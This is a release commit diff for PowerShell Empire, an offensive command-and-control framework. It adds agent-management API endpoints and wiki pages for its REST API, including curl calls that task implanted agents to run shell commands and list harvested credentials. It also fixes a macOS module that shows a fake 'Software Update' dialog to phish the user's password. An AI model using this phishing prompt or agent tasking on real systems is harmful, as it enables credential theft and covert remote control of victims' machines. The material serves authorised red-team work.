Codebase list powershell-empire / 813c70e
Merge pull request #400 from BC-SECURITY/dev Empire 3.6.1 Release Anthony Rose authored 3 years ago GitHub committed 3 years ago
40 changed file(s) with 1962 addition(s) and 8 deletion(s). Raw diff Collapse all Expand all
0 on:
1 push:
2 branches:
3 - master
4 pull_request:
5 branches:
6 - master
7 name: Wiki Sync
8 jobs:
9 update-wiki:
10 runs-on: ubuntu-latest
11 steps:
12 - uses: actions/checkout@master
13 - name: Sync Wiki
14 uses: joeizzard/action-wiki-sync@master
15 with:
16 username: Cx01N
17 access_token: ${{ secrets.GITHUB_TOKEN }}
18 wiki_folder: wiki
19 commit_username: 'Cx01N'
9595 community projects to extend Empire functionality. Plugins can be accessed from the Empire CLI or the API as long as the
9696 plugin follows the [template example](./plugins/example.py). A list of Empire Plugins is located [here](plugins/PLUGINS.md).
9797
98 ## Official Discord Channel
99 <p align="center">
100 <a href="https://discord.gg/P8PZPyf">
101 <img src="https://discordapp.com/api/guilds/716165691383873536/widget.png?style=banner3"/>
102 </p>
103
98104 ## Contribution Rules
99105
100106 Contributions are more than welcome! The more people who contribute to the project the better Empire will be for everyone. Below are a few guidelines for submitting contributions.
0 3.6.0
0 3.6.1
0 11/16/2020
1 ------------
2 - Version 3.6.1 Master Release
3 - Added editable wiki and sync option to repo - #398 (@Cx01N)
4 - Fixed byte error in python/collection/osx/prompt - #396 (@Cx01N)
5 - Fixed clear option issue for malleable listener - #393 (@Cx01N)
6 - Added update_comms, killdate, and workinghours endpoints (@Cx01N)
7
08 11/9/2020
19 ------------
210 - Version 3.6.0 Master Release
10801080 taskID = main.agents.add_agent_task_db(agentSessionID, "TASK_SHELL", command, uid=g.user['id'])
10811081 return jsonify({'success': True, 'taskID': taskID})
10821082
1083 @app.route('/api/agents/<string:agent_name>/update_comms', methods=['PUT'])
1084 def agent_update_comms(agent_name):
1085 """
1086 Dynamically update the agent comms to another
1087
1088 Takes {'listener': 'name'}
1089 """
1090
1091 if not request.json:
1092 return make_response(jsonify({'error':'request body must be valid JSON'}), 400)
1093
1094 if not 'listener' in request.json:
1095 return make_response(jsonify({'error':'JSON body must include key "listener"'}), 400)
1096
1097 listener_name = request.json['listener']
1098
1099 if not main.listeners.is_listener_valid(listener_name):
1100 return jsonify({'error': 'Please enter a valid listener name.'})
1101 else:
1102 active_listener = main.listeners.activeListeners[listener_name]
1103 if active_listener['moduleName'] != 'meterpreter' or active_listener['moduleName'] != 'http_mapi':
1104 listener_options = active_listener['options']
1105 listener_comms = main.listeners.loadedListeners[active_listener['moduleName']].generate_comms(listener_options, language="powershell")
1106
1107 main.agents.add_agent_task_db(agent_name, "TASK_UPDATE_LISTENERNAME", listener_options['Name']['Value'])
1108 main.agents.add_agent_task_db(agent_name, "TASK_SWITCH_LISTENER", listener_comms)
1109
1110 msg = "Tasked agent to update comms to %s listener" % listener_name
1111 main.agents.save_agent_log(agent_name, msg)
1112 return jsonify({'success': True})
1113 else:
1114 return jsonify({'error': 'Ineligible listener for updatecomms command: %s' % active_listener['moduleName']})
1115
1116 @app.route('/api/agents/<string:agent_name>/killdate', methods=['PUT'])
1117 def agent_kill_date(agent_name):
1118 """
1119 Set an agent's killdate (01/01/2016)
1120
1121 Takes {'kill_date': 'date'}
1122 """
1123
1124 if not request.json:
1125 return make_response(jsonify({'error':'request body must be valid JSON'}), 400)
1126
1127 if not 'kill_date' in request.json:
1128 return make_response(jsonify({'error':'JSON body must include key "kill_date"'}), 400)
1129
1130 try:
1131 kill_date = request.json['kill_date']
1132
1133 # update this agent's information in the database
1134 main.agents.set_agent_field_db("kill_date", kill_date, agent_name)
1135
1136 # task the agent
1137 main.agents.add_agent_task_db(agent_name, "TASK_SHELL", "Set-KillDate " + str(kill_date))
1138
1139 # update the agent log
1140 msg = "Tasked agent to set killdate to " + str(kill_date)
1141 main.agents.save_agent_log(agent_name, msg)
1142 return jsonify({'success': True})
1143 except:
1144 return jsonify({'error': 'Unable to update agent killdate'})
1145
1146 @app.route('/api/agents/<string:agent_name>/workinghours', methods=['PUT'])
1147 def agent_working_hours(agent_name):
1148 """
1149 Set an agent's working hours (9:00-17:00)
1150
1151 Takes {'working_hours': 'working_hours'}
1152 """
1153
1154 if not request.json:
1155 return make_response(jsonify({'error':'request body must be valid JSON'}), 400)
1156
1157 if not 'working_hours' in request.json:
1158 return make_response(jsonify({'error':'JSON body must include key "working_hours"'}), 400)
1159
1160 try:
1161 working_hours = request.json['working_hours']
1162 working_hours = working_hours.replace(",", "-")
1163
1164 # update this agent's information in the database
1165 main.agents.set_agent_field_db("working_hours", working_hours, agent_name)
1166
1167 # task the agent
1168 main.agents.add_agent_task_db(agent_name, "TASK_SHELL", "Set-WorkingHours " + str(working_hours))
1169
1170 # update the agent log
1171 msg = "Tasked agent to set working hours to " + str(working_hours)
1172 main.agents.save_agent_log(agent_name, msg)
1173 return jsonify({'success': True})
1174 except:
1175 return jsonify({'error': 'Unable to update agent workinghours'})
1176
10831177 @app.route('/api/agents/<string:agent_name>/rename', methods=['POST'])
10841178 def task_agent_rename(agent_name):
10851179 """
10861180 Renames the specified agent.
10871181
1088 Takes {'newname':'NAME'}
1182 Takes {'newname': 'NAME'}
10891183 """
10901184
10911185 agentNameID = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
11631257 return make_response(jsonify({'error':'request body must be valid JSON'}), 400)
11641258
11651259 if not 'notes' in request.json:
1166 return make_response(jsonify({'error':'JSON body must include key "credentials"'}), 400)
1260 return make_response(jsonify({'error':'JSON body must include key "notes"'}), 400)
11671261
11681262 notes = request.json['notes']
11691263
1717
1818 from flask_socketio import SocketIO
1919
20 VERSION = "3.6.0 BC Security Fork"
20 VERSION = "3.6.1 BC Security Fork"
2121
2222 from pydispatch import dispatcher
2323
456456
457457 # python/collection/prompt (Mac OS)
458458 elif b"text returned:" in parts[0]:
459 parts2 = parts[0].split("text returned:")
459 parts2 = parts[0].split(b"text returned:")
460460 if len(parts2) >= 2:
461461 password = parts2[-1]
462462 return [("plaintext", "", "", password, "", "")]
258258 self.activeListeners[name]['name'] = name
259259
260260 # TODO: listeners should not have their default options rewritten in memory after generation
261 self.default_listener_options(moduleName)
261 if moduleName == 'redirector':
262 self.default_listener_options(moduleName)
262263
263264 if self.mainMenu.socketio:
264265 self.mainMenu.socketio.emit('listeners/new', self.get_listener_for_socket(name), broadcast=True)
108108 # osascript prompt for the current application with System Preferences icon
109109 script = """
110110 import os
111 print(os.popen('osascript -e \\\'display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with icon file "Applications:System Preferences.app:Contents:Resources:PrefApp.icns" with hidden answer with title "Software Update"\\\'').read())
111 print(os.popen('osascript -e \\\'display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with hidden answer with title "Software Update"\\\'').read())
112112 """
113113
114114 else:
8686 def do_test(self, args):
8787 """
8888 An example of a plugin function.
89
9089 Usage: test <start|stop> <message>
9190 """
9291 print("This is executed from a plugin!")
115114 """
116115 # If the plugin spawns a process provide a shutdown method for when Empire exits else leave it as pass
117116 pass
117
0 * [User Login](#User-Login)
1 * [User Logout](#User-Logout)
2 * [Restart the RESTful API Server](#restart-the-restful-api-server)
3 * [Shutdown the RESTful API Server](#shutdown-the-restful-api-server)
4
5 ## User Login
6
7 ### Handler
8
9 * **Handler** : POST /api/admin/login
10 * Description : Retrieves the API token given the correct username and password.
11 * No parameters
12
13 ### Example
14
15 **Request**:
16 ```bash
17 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/admin/login -X POST -d '{"username":"empireadmin", "password":"Password123!"}'
18 ```
19
20 **Response**:
21 ```json
22 {
23 "token": "ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5"
24 }
25 ```
26 ## User Logout
27
28 ### Handler
29
30 * **Handler** : POST /api/admin/logout
31 * Description : Logs out of current user account.
32 * No parameters
33
34 ### Example
35
36 **Request**:
37 ```bash
38 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/admin/logout -X POST
39 ```
40
41 **Response**:
42 ```json
43 {
44 "success": "True"
45 }
46 ```
47 ## Restart the RESTful API Server
48
49 ### Handler
50
51 * **Handler** : GET /api/restart
52 * Description : Restarts the RESTful API server.
53 * No parameters
54
55 ### Example
56
57 **Request**:
58 ```bash
59 curl --insecure -i https://localhost:1337/api/admin/restart?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
60 ```
61
62 **Response**:
63 ```json
64 {
65 "success": true
66 }
67 ```
68
69 ## Shutdown the RESTful API Server
70
71 ### Handler
72
73 * **Handler** : GET /api/shutdown
74 * Description : Shutdown the RESTful API server.
75 * No parameters
76
77 ### Example
78
79 **Request**:
80 ```bash
81 curl --insecure -i https://localhost:1337/api/admin/shutdown?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
82 ```
83
84 **Response**:
85 ```json
86 {
87 "success": true
88 }
89 ```
0 * [Get Current Agents](#get-current-agents)
1 * [Get Stale Agents](#get-stale-agents)
2 * [Remove Stale Agents](#remove-stale-agents)
3 * [Remove Agent](#remove-agent)
4 * [Task an Agent to run a Shell Command](#task-an-agent-to-run-a-shell-command)
5 * [Task all Agents to run a Shell Command](#task-all-agents-to-run-a-shell-command)
6 * [Get Agent Results](#get-agent-results)
7 * [Delete Agent Results](#delete-agent-results)
8 * [Delete All Agent Results](#delete-all-agent-results)
9 * [Clear Queued Agent Tasking](#clear-queued-agent-tasking)
10 * [Rename an Agent](#rename-an-agent)
11 * [Kill an Agent](#kill-an-agent)
12 * [Kill all Agents](#kill-all-agents)
13
14 ## Get Current Agents
15
16 ### Handler
17
18 * **Handler** : GET /api/agents
19 * Description : Returns all current Empire agents.
20 * No parameters
21
22 ### Example
23
24 **Request**:
25 ```bash
26 curl --insecure -i https://localhost:1337/api/agents?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
27 ```
28
29 **Response**:
30 ```json
31 {
32 "agents": [
33 {
34 "ID": 1,
35 "checkin_time": "2016-03-31 17:36:34",
36 "children": null,
37 "delay": 5,
38 "external_ip": "192.168.52.200",
39 "functions": null,
40 "headers": "",
41 "high_integrity": 0,
42 "hostname": "WINDOWS1",
43 "internal_ip": "192.168.52.200",
44 "jitter": 0.0,
45 "kill_date": "",
46 "lastseen_time": "2016-03-31 17:38:55",
47 "listener": "http://192.168.52.172:8080/",
48 "lost_limit": 60,
49 "name": "3GHZPWEGADMT2KPA",
50 "old_uris": null,
51 "os_details": "Microsoft Windows 7 Professional ",
52 "parent": null,
53 "process_id": "1636",
54 "process_name": "powershell",
55 "ps_version": "2",
56 "results": "",
57 "servers": null,
58 "sessionID": "3GHZPWEGADMT2KPA",
59 "session_key": "7.+...",
60 "taskings": "",
61 "uris": "/admin/get.php,/news.asp,/login/process.jsp",
62 "user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
63 "username": "WINDOWS1\\user",
64 "working_hours": ""
65 },
66 ...
67 ]
68 }
69 ```
70
71 ## Get Stale Agents
72
73 ### Handler
74
75 * **Handler** : GET /api/agents/stale
76 * Description : Returns all 'stale' Empire agents (past checkin window).
77 * No parameters
78
79 ### Example
80
81 **Request**:
82 ```bash
83 curl --insecure -i https://localhost:1337/api/agents/stale?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
84 ```
85
86 **Response**:
87 ```json
88 {
89 "agents": [
90 {
91 "ID": 1,
92 "checkin_time": "2016-03-31 17:36:34",
93 "children": null,
94 "delay": 5,
95 "external_ip": "192.168.52.200",
96 "functions": null,
97 "headers": "",
98 "high_integrity": 0,
99 "hostname": "WINDOWS1",
100 "internal_ip": "192.168.52.200",
101 "jitter": 0.0,
102 "kill_date": "",
103 "lastseen_time": "2016-03-31 17:38:55",
104 "listener": "http://192.168.52.172:8080/",
105 "lost_limit": 60,
106 "name": "3GHZPWEGADMT2KPA",
107 "old_uris": null,
108 "os_details": "Microsoft Windows 7 Professional ",
109 "parent": null,
110 "process_id": "1636",
111 "process_name": "powershell",
112 "ps_version": "2",
113 "results": "",
114 "servers": null,
115 "sessionID": "3GHZPWEGADMT2KPA",
116 "session_key": "7.+...",
117 "taskings": "",
118 "uris": "/admin/get.php,/news.asp,/login/process.jsp",
119 "user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
120 "username": "WINDOWS1\\user",
121 "working_hours": ""
122 },
123 ...
124 ]
125 }
126 ```
127
128 ## Remove Stale Agents
129
130 ### Handler
131
132 * **Handler** : DELETE /api/agents/stale
133 * Description : Removes all 'stale' Empire agents (past checkin window).
134 * No parameters
135
136 ### Example
137
138 **Request**:
139 ```bash
140 curl --insecure -i https://localhost:1337/api/agents/stale?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE
141 ```
142
143 **Response**:
144 ```json
145 {
146 "success": true
147 }
148 ```
149
150 ## Get Agent by Name
151
152 ### Handler
153
154 * **Handler** : GET /api/agents/AGENT_NAME
155 * Description : Returns the agent specifed by AGENT_NAME.
156 * No parameters
157
158 ### Example
159
160 **Request**:
161 ```bash
162 curl --insecure -i https://localhost:1337/api/agents/XMY2H2ZPFWNPGEAP?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
163 ```
164
165 **Response**:
166 ```json
167 {
168 "agents": [
169 {
170 "ID": 1,
171 "checkin_time": "2016-03-31 20:29:31",
172 "children": null,
173 "delay": 5,
174 "external_ip": "192.168.52.200",
175 "functions": null,
176 "headers": "",
177 "high_integrity": 0,
178 "hostname": "WINDOWS1",
179 "internal_ip": "192.168.52.200",
180 "jitter": 0.0,
181 "kill_date": "",
182 "lastseen_time": "2016-03-31 20:29:38",
183 "listener": "http://192.168.52.173:8080/",
184 "lost_limit": 60,
185 "name": "XMY2H2ZPFWNPGEAP",
186 "old_uris": null,
187 "os_details": "Microsoft Windows 7 Professional ",
188 "parent": null,
189 "process_id": "2600",
190 "process_name": "powershell",
191 "ps_version": "2",
192 "results": null,
193 "servers": null,
194 "sessionID": "XMY2H2ZPFWNPGEAP",
195 "session_key": "+e`x!...",
196 "taskings": null,
197 "uris": "/admin/get.php,/news.asp,/login/process.jsp",
198 "user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
199 "username": "WINDOWS1\\user",
200 "working_hours": ""
201 }
202 ]
203 }
204 ```
205
206 ## Remove Agent
207
208 ### Handler
209
210 * **Handler** : DELETE /api/agents/AGENT_NAME
211 * Description : Removes the agent specifed by AGENT_NAME (doesn't kill first).
212 * No parameters
213
214 ### Example
215
216 **Request**:
217 ```bash
218 curl --insecure -i https://localhost:1337/api/agents/XMY2H2ZPFWNPGEAP?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE
219 ```
220
221 **Response**:
222 ```json
223 {
224 "success": true
225 }
226 ```
227
228 ## Task an Agent to run a Shell Command
229
230 ### Handler
231
232 * **Handler** : POST /api/agents/AGENT_NAME/shell
233 * Description : Tasks the agent specified by AGENT_NAME to run the given shell command.
234 * Parameters :
235 * command : the shell command to task the agent to run (required)
236
237 ### Example
238
239 **Request**:
240 ```bash
241 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/shell?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"command":"whoami"}'
242 ```
243
244 **Response**:
245 ```json
246 {
247 "success": true
248 }
249 ```
250
251 ## Task all Agents to run a Shell Command
252
253 ### Handler
254
255 * **Handler** : POST /api/agents/all/shell
256 * Description : Tasks all agents to run the given shell command.
257 * Parameters :
258 * command : the shell command to task the agents to run (required)
259
260 ### Example
261
262 **Request**:
263 ```bash
264 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/all/shell?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"command":"pwd"}'
265 ```
266
267 **Response**:
268 ```json
269 {
270 "success": true
271 }
272 ```
273
274 ## Get Agent Results
275
276 ### Handler
277
278 * **Handler** : GET /api/agents/AGENT_NAME/results
279 * Description : Retrieves results for the agent specifed by AGENT_NAME.
280 * No parameters
281
282 ### Example
283
284 **Request**:
285 ```bash
286 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/results?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
287 ```
288
289 **Response**:
290 ```json
291 {
292 "results": [
293 {
294 "agentname": "CXPLDTZCKFNT3SLT",
295 "results": "WINDOWS1\\user\nPath \r\n---- \r\nC:\\Users\\user
296 }
297 ]
298 }r
299 ```
300
301 ## Delete Agent Results
302
303 ### Handler
304
305 * **Handler** : DELETE /api/agents/AGENT_NAME/results
306 * Description : Deletes the result buffer for the agent specifed by AGENT_NAME.
307 * No parameters
308
309 ### Example
310
311 **Request**:
312 ```bash
313 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/results?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE
314 ```
315
316 **Response**:
317 ```json
318 {
319 "success": true
320 }
321 ```
322
323 ## Delete All Agent Results
324
325 ### Handler
326
327 * **Handler** : DELETE /api/agents/all/results
328 * Description : Deletes all agent result buffers
329 * No parameters
330
331 ### Example
332
333 **Request**:
334 ```bash
335 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/all/results?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE
336 ```
337
338 **Response**:
339 ```json
340 {
341 "success": true
342 }
343 ```
344
345 ## Clear Queued Agent Tasking
346
347 ### Handler
348
349 * **Handler** : POST/GET /api/agents/AGENT_NAME/clear
350 * Description : Clears the queued taskings for the agent specified by AGENT_NAME.
351 * No parameters
352
353 ### Example
354
355 **Request**:
356 ```bash
357 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/clear?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
358 ```
359
360 **Response**:
361 ```json
362 {
363 "success": true
364 }
365 ```
366
367 ## Rename an Agent
368
369 ### Handler
370
371 * **Handler** : POST/GET /api/agents/AGENT_NAME/rename
372 * Description : Renames the agent specified by AGENT_NAME.
373 * Parameters :
374 * newname : the name to rename the specified agent to (required)
375
376 ### Example
377
378 **Request**:
379 ```bash
380 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/rename?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"newname":"initial"}'
381 ```
382
383 **Response**:
384 ```json
385 {
386 "success": true
387 }
388 ```
389
390 ## Kill an Agent
391
392 ### Handler
393
394 * **Handler** : POST/GET /api/agents/AGENT_NAME/kill
395 * Description : Tasks the agent specified by AGENT_NAME to exit.
396 * No parameters
397
398 ### Example
399
400 **Request**:
401 ```bash
402 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/kill?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
403 ```
404
405 **Response**:
406 ```json
407 {
408 "success": true
409 }
410 ```
411
412 ## Kill all Agents
413
414 ### Handler
415
416 * **Handler** : POST/GET /api/agents/all/kill
417 * Description : Tasks all agents to exit.
418 * No parameters
419
420 ### Example
421
422 **Request**:
423 ```bash
424 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/all/kill?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
425 ```
426
427 **Response**:
428 ```json
429 {
430 "success": true
431 }
432 ```
0 ## Get Stored Credentials
1
2 ### Handler
3
4 * **Handler** : GET /api/creds
5 * Description : Returns all credentials currently stored in an Empire server.
6 * No parameters
7
8 ### Example
9
10 **Request**:
11 ```bash
12 curl --insecure -i https://localhost:1337/api/creds?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
13 ```
14
15 **Response**:
16 ```json
17 {
18 "creds": [
19 {
20 "ID": 1,
21 "credtype": "hash",
22 "domain": "testlab.local",
23 "host": "WINDOWS1",
24 "notes": "2016-03-31 17:37:23",
25 "password": "2b576acbe6b...",
26 "sid": "S-1-5-21-664317401-282805101-...",
27 "username": "Administrator"
28 },
29 ...
30 ]
31 }
32 ```
0 ![Empire](https://user-images.githubusercontent.com/20302208/70022749-1ad2b080-154a-11ea-9d8c-1b42632fd9f9.jpg)
1
2 [1.1]: http://i.imgur.com/tXSoThF.png (twitter icon with padding)
3 [2.1]: http://i.imgur.com/P3YfQoD.png (facebook icon with padding)
4 [3.1]: http://i.imgur.com/yCsTjba.png (google plus icon with padding)
5 [4.1]: http://i.imgur.com/YckIOms.png (tumblr icon with padding)
6 [5.1]: http://i.imgur.com/1AGmwO3.png (dribbble icon with padding)
7 [6.1]: http://i.imgur.com/0o48UoR.png (github icon with padding)
8
9 [1]: https://twitter.com/bcsecurity1
10 [2]: http://www.facebook.com/XXXXXXX
11 [3]: https://plus.google.com/XXXXXXX
12 [4]: http://XXXXXXX.tumblr.com
13 [5]: http://dribbble.com/XXXXXXX
14 [6]: http://www.github.com/BC-SECURITY
15 [7]: https://www.bc-security.org/blog
16
17 ![GitHub Release](https://img.shields.io/github/v/release/BC-SECURITY/Empire)
18 ![GitHub contributors](https://img.shields.io/github/contributors/BC-SECURITY/Empire)
19 ![GitHub commit activity](https://img.shields.io/github/commit-activity/m/BC-SECURITY/Empire)
20 ![GitHub stars](https://img.shields.io/github/stars/BC-SECURITY/Empire)
21 ![GitHub](https://img.shields.io/github/license/BC-Security/Empire)
22 [![Twitter URL](https://img.shields.io/twitter/url/https/twitter.com/fold_left.svg?style=flat)](https://twitter.com/BCSecurity1)
23
24 Keep up-to-date on our blog at [https://www.bc-security.org/blog][7]
25
26 # Empire
27 Empire 3 is a post-exploitation framework that includes a pure-PowerShell Windows agent, and compatibility with Python 3.x Linux/OS X agents. It is the merger of the previous PowerShell Empire and Python EmPyre projects. The framework offers cryptologically-secure communications and flexible architecture.
28
29 On the PowerShell side, Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework. PowerShell Empire premiered at [BSidesLV in 2015](https://www.youtube.com/watch?v=Pq9t59w0mUI) and Python EmPyre premiered at HackMiami 2016. BC-Security presented updates to further evade Microsoft Antimalware Scan Interface (AMSI) and JA3/S signatures at [DEF CON 27](https://github.com/BC-SECURITY/DEFCON27).
30
31 Empire relies heavily on the work from several other projects for its underlying functionality. We have tried to call out a few of those people we've interacted with [heavily here](http://www.powershellempire.com/?page_id=2) and have included author/reference link information in the source of each Empire module as appropriate. If we have failed to properly cite existing or prior work, please let us know at [email protected].
32
33 Empire is currently being developed and maintained by [@Cx01N](https://twitter.com/Cx01N_), [@Hubbl3](https://twitter.com/_Hubbl3), & [@Vinnybod](https://twitter.com/AZHalcyon). While the main Empire project is no longer maintained, this fork is maintained by [@bcsecurity1](https://twitter.com/BCSecurity1).
34 Please reach out to us on our [Discord](https://discord.gg/P8PZPyf) if you have any questions or talk about offensive security.
35
36 ## Documentation
37 Empire maintains a web site version of the documentation at [http://www.powershellempire.com](http://www.powershellempire.com).
38
39 ## Help us Improve!
40
41 This documentation was organized and built by the PowerShell Empire development team. It is neither complete nor perfect, so any suggestions, corrections, or additions from the community would be greatly appreciated. Please submit any Wiki changes as [Empire Pull Requests](https://github.com/BC-SECURITY/Empire/pulls) using the [Wiki directory](./wiki).
42
43 contact us by email at [email protected] with any drafted wiki pages or suggested modifications.
44
45 [[https://github.com/EmpireProject/Empire/wiki/Images/empire_logo.png|align=center]]
0 # Kali
1
2 You can install the latest version of Empire by running the following:
3
4 ```sh
5 apt install powershell-empire
6 ```
7
8 # Github
9
10 To install and run:
11
12 ```sh
13 git clone https://github.com/BC-SECURITY/Empire.git
14 cd Empire
15 sudo ./setup/install.sh
16 ```
17
18 There's also a [quickstart here](http://www.powershellempire.com/?page_id=110) and full [documentation here](http://www.powershellempire.com/?page_id=83).
19
20 # Docker
21 If you want to run Empire using a pre-built docker container:
22 ```bash
23 docker pull bcsecurity/empire:{version}
24 docker run -it bcsecurity/empire:{version}
25
26 # with persistent storage
27 docker pull bcsecurity/empire:{version}
28 docker create -v /empire --name data bcsecurity/empire:{version}
29 docker run -it --volumes-from data bcsecurity/empire:{version}
30
31 # if you prefer to be dropped into bash instead of directly into empire
32 # docker run -it --volumes-from data bcsecurity/empire:{version} /bin/bash
33 ```
34
35 All image versions can be found at: https://hub.docker.com/r/bcsecurity/empire/
36 * The last commit from master will be deployed to the `latest` tag
37 * The last commit from the dev branch will be deployed to the `dev` tag
38 * All github tagged releases will be deployed using their version numbers (v3.0.0, v3.1.0, etc)
0 * [Get Current Listeners](#get-current-listeners)
1 * [Get Listener by Name](#get-listener-by-name)
2 * [Get Current Listener Options](#get-current-listener-options)
3 * [Create a Listener](#create-a-listener)
4 * [Kill a Listener](#kill-a-listener)
5 * [Kill All Listeners](#kill-all-listeners)
6
7 ## Get Current Listeners
8
9 ### Handler
10
11 * **Handler** : GET /api/listeners
12 * Description : Returns all current Empire listeners.
13 * No parameters
14
15 ### Example
16
17 **Request**:
18 ```bash
19 curl --insecure -i https://localhost:1337/api/listeners?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
20 ```
21
22 **Response**:
23 ```json
24 {
25 "listeners": [
26 {
27 "ID": 1,
28 "cert_path": "",
29 "default_delay": 5,
30 "default_jitter": 0.0,
31 "default_lost_limit": 60,
32 "default_profile": "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
33 "host": "http://192.168.52.172:8080",
34 "kill_date": "",
35 "listener_type": "native",
36 "name": "test",
37 "port": 8080,
38 "redirect_target": "",
39 "staging_key": "m@T%L?V...",
40 "working_hours": ""
41 }
42 ]
43 }
44 ```
45
46 ## Get Listener by Name
47
48 ### Handler
49
50 * **Handler** : GET /api/listeners/LISTENER_NAME
51 * Description : Returns the listener specifed by the name/id LISTENER_NAME.
52 * No parameters
53
54 ### Example
55
56 **Request**:
57 ```bash
58 curl --insecure -i https://localhost:1337/api/listeners/test?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
59 ```
60
61 **Response**:
62 ```json
63 {
64 "listeners": [
65 {
66 "ID": 1,
67 "cert_path": "",
68 "default_delay": 5,
69 "default_jitter": 0.0,
70 "default_lost_limit": 60,
71 "default_profile": "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
72 "host": "http://192.168.52.172:8080",
73 "kill_date": "",
74 "listener_type": "native",
75 "name": "test",
76 "port": 8080,
77 "redirect_target": "",
78 "staging_key": "m@T%L...",
79 "working_hours": ""
80 }
81 ]
82 }
83 ```
84
85 ## Get Current Listener Options
86
87 ### Handler
88
89 * **Handler** : GET /api/listeners/options/listener_type
90 * Description : Returns the current listener options for the specified type.
91 * No parameters
92
93 ### Example
94
95 **Request**:
96 ```bash
97 curl --insecure -i https://localhost:1337/api/listeners/options/http?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
98 ```
99
100 **Response**:
101 ```json
102 {
103 "listeneroptions": [
104 {
105 "CertPath": {
106 "Description": "Certificate path for https listeners.",
107 "Required": false,
108 "Value": ""
109 },
110 "DefaultDelay": {
111 "Description": "Agent delay/reach back interval (in seconds).",
112 "Required": true,
113 "Value": 5
114 },
115 "DefaultJitter": {
116 "Description": "Jitter in agent reachback interval (0.0-1.0).",
117 "Required": true,
118 "Value": 0.0
119 },
120 "DefaultLostLimit": {
121 "Description": "Number of missed checkins before exiting",
122 "Required": true,
123 "Value": 60
124 },
125 "DefaultProfile": {
126 "Description": "Default communication profile for the agent.",
127 "Required": true,
128 "Value": "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
129 },
130 "Host": {
131 "Description": "Hostname/IP for staging.",
132 "Required": true,
133 "Value": "http://192.168.52.173:8080"
134 },
135 "KillDate": {
136 "Description": "Date for the listener to exit (MM/dd/yyyy).",
137 "Required": false,
138 "Value": ""
139 },
140 "Name": {
141 "Description": "Listener name.",
142 "Required": true,
143 "Value": "test"
144 },
145 "Port": {
146 "Description": "Port for the listener.",
147 "Required": true,
148 "Value": "8080"
149 },
150 "RedirectTarget": {
151 "Description": "Listener target to redirect to for pivot/hop.",
152 "Required": false,
153 "Value": ""
154 },
155 "StagingKey": {
156 "Description": "Staging key for initial agent negotiation.",
157 "Required": true,
158 "Value": "m@T%L..."
159 },
160 "Type": {
161 "Description": "Listener type (native, pivot, hop, foreign, meter).",
162 "Required": true,
163 "Value": "native"
164 },
165 "WorkingHours": {
166 "Description": "Hours for the agent to operate (09:00-17:00).",
167 "Required": false,
168 "Value": ""
169 }
170 }
171 ]
172 }
173 ```
174
175 ## Create a Listener
176
177 ### Handler
178
179 * **Handler** : POST /api/listeners/listener_type
180 * Description : Creates a listener with the specified parameters.
181 * Parameters (none required) :
182 * Name : name for the listener
183 * *additional* : any additional values enumerated from listener options above
184
185 ### Example
186
187 **Request**:
188 ```bash
189 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/listeners/http?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"Name":"testing"}'
190 ```
191
